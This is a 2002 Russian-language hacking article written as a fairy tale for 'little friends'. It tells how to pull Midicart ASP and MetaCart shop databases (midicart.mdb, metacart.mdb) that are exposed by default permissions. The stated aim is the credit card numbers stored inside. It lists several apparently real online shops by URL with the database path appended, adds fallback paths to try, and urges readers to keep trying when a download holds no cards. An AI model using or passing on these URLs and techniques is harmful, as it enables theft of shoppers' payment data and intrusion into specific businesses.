|
Нашел
совсем старую свою статью, опубликованную на hack-info.ru
18.10.02. Может кому-то в качестве самообразования и пригодиться;-).
Пару раз встречал ее в инете, практически без изменений,
но под другими никами.
Абыдно, да:-(.
Здравствуйте
мои маленькие друзья. Сегодня дедушка Durito расскажет вам
сказочку о том, как получить доступ к базам данных Midicart
ASP и т.п. А как вы наверное знаете, в базах данных храниться
много чего вкусьненького, особенно конфетки сс, которые
мы так все любим.
И так начнем. В неком Царстве, в неком государстве прошел
слух, что в системе Midicart ASP (а это система электронной
коммерции от Coxco Support для Microsoft Windows) в установке
по умолчанию задаются неправильные разрешения на файл midicart.mdb.
В этом файле хранится чувствительная информация, типа номеров
кредитных карточек и другой опознавательной информации.
И дескать каждый сообразительный мальчик может забрать ее
оттуда такой командой http://www.xxxxxxx.com/shoppingdirectory/midicart.mdb
Узнав об этом смелый герой тут же бежит на www.yahoo.com
или куда еще и набирает Midicart ASP и получаем списочек
волшебных мест, а выглядят они примерно так:
http://web.pincom.net/midicart/
http://www.dannermfg.com/midicart_asp/shop/default.asp
http://www.print-it.nu/butik/main.asp
http://www.kabelshop.dk/top.asp
http://www.gmusik.dk/shop/
http://www.bursdagbutikken.no/meny.asp
http://www.computerfolks.net/cart/middle_right.asp
А дальше сказочный герой берет магическое слово midicart.mdb,
и подставляет его
http://web.pincom.net/midicart/midicart.mdb
http://www.dannermfg.com/midicart_asp/shop/midicart.mdb
http://www.print-it.nu/butik/midicart.mdb
http://www.kabelshop.dk/midicart.mdb
http://www.gmusik.dk/shop/midicart.mdb
http://www.bursdagbutikken.no/midicart.mdb
http://www.computerfolks.net/cart/midicart.mdb
Ежели что-то не работает например в адресе
http://www.dannermfg.com/midicart_asp/shop/default.asp,
тогда подставляй волшебное midicart.mdb, вот так:
http://www.dannermfg.com/midicart_asp/midicart.mdb
http://www.dannermfg.com/midicart.mdb
А ежели ты скачал, да ничего не нашел (сс например), так
это все проделки черных админов, пробуй еще...И да прибудет
с тобой сила!
Вот и сказке конец, а кто понял молодец.
P.S.
Можешь кстати применить свои новые волшебные способности
на систему MetaCart2.sql
http://xxxshop/database/metacart.mdb
http://xxxshop/metacart/database/metacart.mdb
и на некоторые другие;-)
Твой
bug Durito.
_________________
EAT THE RICH!
|
|